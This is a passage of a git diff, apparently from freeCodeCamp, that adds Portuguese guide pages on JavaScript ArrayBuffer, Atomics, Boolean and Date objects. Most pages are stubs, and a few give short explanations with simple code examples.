+++ b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer isView
+localeTitle: ArrayBuffer isView
+---
+## ArrayBuffer isView
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-isview/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
new file mode 100644
index 0000000000..003894f165
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.byteLength
+localeTitle: ArrayBuffer.prototype.byteLength
+---
+## ArrayBuffer.prototype.byteLength
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-bytelength/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
new file mode 100644
index 0000000000..e9b30c9bca
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer.prototype.slice
+localeTitle: ArrayBuffer.prototype.slice
+---
+## ArrayBuffer.prototype.slice
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-prototype-slice/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
new file mode 100644
index 0000000000..205b984fab
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer Transfer
+localeTitle: Transferir ArrayBuffer
+---
+## Transferir ArrayBuffer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/arraybuffer-transfer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/index.md b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/index.md
new file mode 100644
index 0000000000..70ab17df83
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/arraybuffer/index.md
@@ -0,0 +1,11 @@
+---
+title: ArrayBuffer
+localeTitle: ArrayBuffer
+---
+## ArrayBuffer
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/arraybuffer/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-add/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-add/index.md
new file mode 100644
index 0000000000..797219e3e4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-add/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Add
+localeTitle: Atomics Adicionar
+---
+## Atomics Adicionar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-add/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-and/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-and/index.md
new file mode 100644
index 0000000000..386d3d3c23
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-and/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics and
+localeTitle: Atomics e
+---
+## Atomics e
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-and/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-compareexchange/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-compareexchange/index.md
new file mode 100644
index 0000000000..0541ae6ad8
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-compareexchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics compareExchange
+localeTitle: Atomics compareExchange
+---
+## Atomics compareExchange
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-compareexchange/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-exchange/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-exchange/index.md
new file mode 100644
index 0000000000..209039fe8c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-exchange/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Exchange
+localeTitle: Troca de Atomica
+---
+## Troca de Atomica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-exchange/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-islockfree/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-islockfree/index.md
new file mode 100644
index 0000000000..0fc6482ca7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-islockfree/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics isLockFree
+localeTitle: Atomics isLockFree
+---
+## Atomics isLockFree
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-islockfree/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-load/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-load/index.md
new file mode 100644
index 0000000000..378f2c2805
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-load/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Load
+localeTitle: Carga Atomica
+---
+## Carga Atomica
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-load/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-or/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-or/index.md
new file mode 100644
index 0000000000..fb5da70a19
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-or/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics or
+localeTitle: Atomics ou
+---
+## Atomics ou
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-or/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-store/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-store/index.md
new file mode 100644
index 0000000000..e4a103b03d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-store/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Store
+localeTitle: Loja de Atomics
+---
+## Loja de Atomics
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-store/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-sub/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-sub/index.md
new file mode 100644
index 0000000000..cf59d4d0b0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-sub/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Sub
+localeTitle: Atomics Sub
+---
+## Atomics Sub
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-sub/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wait/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wait/index.md
new file mode 100644
index 0000000000..10032c7d0c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wait/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wait
+localeTitle: Atomics Wait
+---
+## Atomics Wait
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wait/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wake/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wake/index.md
new file mode 100644
index 0000000000..460f914164
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-wake/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Wake
+localeTitle: Atomics Wake
+---
+## Atomics Wake
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-wake/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-xor/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-xor/index.md
new file mode 100644
index 0000000000..0bb1ffdd9c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/atomics-xor/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics Xor
+localeTitle: Atomics Xor
+---
+## Atomics Xor
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/atomics-xor/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/atomics/index.md b/client/src/guide/portuguese/javascript/standard-objects/atomics/index.md
new file mode 100644
index 0000000000..5b8347a781
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/atomics/index.md
@@ -0,0 +1,11 @@
+---
+title: Atomics
+localeTitle: Atomics
+---
+## Atomics
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/atomics/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
new file mode 100644
index 0000000000..837fd7d18b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toSource
+localeTitle: Boolean.prototype.toSource
+---
+## Boolean.prototype.toSource
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tosource/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
new file mode 100644
index 0000000000..7168381a4b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.toString
+localeTitle: Boolean.prototype.toString
+---
+## Boolean.prototype.toString
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-tostring/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
new file mode 100644
index 0000000000..afbbc8d6f7
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md
@@ -0,0 +1,11 @@
+---
+title: Boolean.prototype.valueOf
+localeTitle: Boolean.prototype.valueOf
+---
+## Boolean.prototype.valueOf
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/boolean/boolean-prototype-valueof/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/boolean/index.md b/client/src/guide/portuguese/javascript/standard-objects/boolean/index.md
new file mode 100644
index 0000000000..881eafc7ab
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/boolean/index.md
@@ -0,0 +1,17 @@
+---
+title: Boolean
+localeTitle: boleano
+---
+## boleano
+
+O objeto booleano é um wrapper de objeto para um valor booleano (verdadeiro ou falso). Você pode definir explicitamente um booleano como `new Boolean([value])` . O argumento de `value` opcional é convertido em um valor booleano. Se o valor não for especificado, `0` , `-0` , `null` , `false` , `NaN` , `undefined` ou a cadeia vazia ( `""` ), o objeto será definido como falso. Todos os outros valores, incluindo qualquer objeto ou a string "false", criam um objeto com um valor de true. Uma exceção interessante é quando `document.all` do DOM é passado como um argumento para o construtor `Boolean` , ele é avaliado como `false` 1 .
+
+Valor primitivo booleano ( `true` e `false` ) não é o mesmo que valores de objeto `Boolean` ( `true` e `false` ).
+
+#### Mais Informações:
+
+[A diferença entre objetos booleanos e primitivos booleanos em JavaScript - um gotejamento de JavaScript](http://adripofjavascript.com/blog/drips/the-difference-between-boolean-objects-and-boolean-primitives-in-javascript.html)
+
+### Fontes
+
+1.  [Você não sabe JavaScript, Capítulo 4](https://github.com/getify/You-Dont-Know-JS/blob/master/types%20&%20grammar/ch4.md) , linha: 364. Acessado em 31 de outubro de 2017.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-now/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-now/index.md
new file mode 100644
index 0000000000..d84da74c7b
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-now/index.md
@@ -0,0 +1,24 @@
+---
+title: Date Now
+localeTitle: Data agora
+---
+## Data agora
+
+O método Date.now () retorna o número de milissegundos decorridos desde 1º de janeiro de 1970 às 00:00:00 UTC.
+
+### Sintaxe
+
+```js
+var timeInMs = Date.now(); 
+```
+
+### Exemplo
+
+```js
+Date.now(); 
+ // 1508783660969 
+```
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/now)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-parse/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-parse/index.md
new file mode 100644
index 0000000000..9fd2112695
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-parse/index.md
@@ -0,0 +1,11 @@
+---
+title: Date Parse
+localeTitle: Data Analisar
+---
+## Data Analisar
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-parse/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getdate/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getdate/index.md
new file mode 100644
index 0000000000..c891e66859
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getdate/index.md
@@ -0,0 +1,26 @@
+---
+title: Date.prototype.getDate
+localeTitle: Date.prototype.getDate
+---
+## Date.prototype.getDate
+
+O método `getDate()` retorna o dia do mês para a data especificada de acordo com a hora local.
+
+### Sintaxe
+
+```js
+dateObject.getDate() 
+```
+
+### Exemplo
+
+```js
+var Xmas95 = new Date('December 25, 1995 23:15:30'); 
+ var day = Xmas95.getDate(); 
+ 
+ console.log(day); // 25 
+```
+
+#### Mais Informações:
+
+[Documentação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getday/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getday/index.md
new file mode 100644
index 0000000000..399f9c4efd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getDay
+localeTitle: Date.prototype.getDay
+---
+## Date.prototype.getDay
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getday/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getfullyear/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getfullyear/index.md
new file mode 100644
index 0000000000..96037b4bc1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getfullyear/index.md
@@ -0,0 +1,26 @@
+---
+title: Date.prototype.getFullYear
+localeTitle: Date.prototype.getFullYear
+---
+## Date.prototype.getFullYear
+
+O método Date.getFullYear () retorna o ano (quatro dígitos) da data especificada de acordo com a hora local.
+
+### Sintaxe
+
+```javascript
+dateObj.getFullYear() 
+```
+
+### Exemplo
+
+```javascript
+var date = new Date(); 
+ // creates a new Date() object with current date and time. 
+ date.getFullYear() 
+ // 2018 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gethours/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gethours/index.md
new file mode 100644
index 0000000000..cbe0627969
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gethours/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getHours
+localeTitle: Date.prototype.getHours
+---
+## Date.prototype.getHours
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gethours/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
new file mode 100644
index 0000000000..88c7215278
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMilliseconds
+localeTitle: Date.prototype.getMilliseconds
+---
+## Date.prototype.getMilliseconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmilliseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getminutes/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getminutes/index.md
new file mode 100644
index 0000000000..63faa4c099
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getminutes/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMinutes
+localeTitle: Date.prototype.getMinutes
+---
+## Date.prototype.getMinutes
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getminutes/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmonth/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmonth/index.md
new file mode 100644
index 0000000000..d53b66e9cd
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getmonth/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getMonth
+localeTitle: Date.prototype.getMonth
+---
+## Date.prototype.getMonth
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getmonth/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getseconds/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getseconds/index.md
new file mode 100644
index 0000000000..1be49a038e
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getseconds/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getSeconds
+localeTitle: Date.prototype.getSeconds
+---
+## Date.prototype.getSeconds
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getseconds/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettime/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettime/index.md
new file mode 100644
index 0000000000..ba6a24b855
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettime/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getTime
+localeTitle: Date.prototype.getTime
+---
+## Date.prototype.getTime
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettime/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
new file mode 100644
index 0000000000..cca4935f15
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.gettimezoneoffset
+localeTitle: Date.prototype.gettimezoneoffset
+---
+## Date.prototype.gettimezoneoffset
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-gettimezoneoffset/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcdate/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcdate/index.md
new file mode 100644
index 0000000000..39b78d29a1
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcdate/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDate
+localeTitle: Date.prototype.getUTCDate
+---
+## Date.prototype.getUTCDate
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcdate/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcday/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcday/index.md
new file mode 100644
index 0000000000..002e438650
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcday/index.md
@@ -0,0 +1,11 @@
+---
+title: Date.prototype.getUTCDay
+localeTitle: Date.prototype.getUTCDay
+---
+## Date.prototype.getUTCDay
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/date/date-prototype-getutcday/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
new file mode 100644
index 0000000000..58fbc06dde
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/standard-objects/date/date-prototype-getutcfullyear/index.md
@@ -0,0 +1,11 @@
+---
